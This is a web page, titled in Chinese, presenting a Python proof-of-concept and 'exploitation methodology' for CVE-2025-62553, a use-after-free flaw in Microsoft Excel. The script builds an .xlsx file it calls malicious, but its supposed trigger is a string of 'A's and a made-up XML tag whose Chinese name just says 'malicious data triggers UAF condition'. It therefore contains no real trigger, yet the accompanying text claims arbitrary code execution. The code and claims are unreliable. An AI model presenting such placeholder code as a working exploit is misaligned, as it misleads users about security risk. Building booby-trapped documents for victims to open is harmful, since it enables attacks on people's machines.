CVE-2025-62553: Microsoft Office Excel 释放后重用高危漏洞

#!/usr/bin/env python3 # CVE-2025-62553 PoC - Microsoft Office Excel Use After Free # This is a conceptual PoC for educational purposes only import struct import zipfile import os from xml.etree import ElementTree as ET class CVE202562553_PoC: def __init__(self): self.output_file = "CVE-2025-62553 malicious.xlsx" def create_malicious_excel(self): """ Create a malicious Excel file that triggers Use After Free in Microsoft Office Excel. """ print(f"[*] Generating malicious Excel file: {self.output_file}") # Create a minimal Excel file structure with zipfile.ZipFile(self.output_file, 'w', zipfile.ZIP_DEFLATED) as xlsx: # [Content_Types].xml content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' xlsx.writestr('[Content_Types].xml', content_types) # _rels/.rels rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''' xlsx.writestr('_rels/.rels', rels) # xl/_rels/workbook.xml.rels wb_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''' xlsx.writestr('xl/_rels/workbook.xml.rels', wb_rels) # xl/workbook.xml workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' xlsx.writestr('xl/workbook.xml', workbook) # xl/worksheets/sheet1.xml - Malicious content # This contains crafted data to trigger UAF condition sheet1 = self._generate_malicious_sheet() xlsx.writestr('xl/worksheets/sheet1.xml', sheet1) print(f"[+] Malicious Excel file created: {self.output_file}") print("[+] This file is designed to trigger CVE-2025-62553") print("[+] WARNING: For authorized security testing only!") def _generate_malicious_sheet(self): """ Generate malicious worksheet XML with UAF trigger payload """ # Crafted XML to trigger Use After Free in Excel's memory management malicious_sheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"> <v>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</v> </c> </row> </sheetData> <extLst> <ext uri="{BE8C2C83-B6F8-46C9-9A2B-0E0A3F9D8C7B}"> <恶意数据触发UAF条件/> </ext> </extLst> </worksheet>''' return malicious_sheet def create_exploit_documentation(self): """ Create documentation for the exploit methodology """ doc = """ ======================================================================== CVE-2025-62553 Exploitation Methodology ======================================================================== Target: Microsoft Office Excel (Multiple versions) Vulnerability: Use After Free (CWE-416) CVSS Score: 7.8 (High) Attack Vector: 1. Attacker creates malicious Excel file with crafted data 2. Victim opens the file in Microsoft Excel 3. Excel's memory management triggers UAF condition 4. Attacker-controlled data written to freed memory 5. Arbitrary code execution achieved in Excel process context Prerequisites: - User must open the malicious file - No authentication required (PR:N) - Local access required (AV:L) ======================================================================== """ print(doc) if __name__ == "__main__": poc = CVE202562553_PoC() poc.create_malicious_excel() poc.create_exploit_documentation()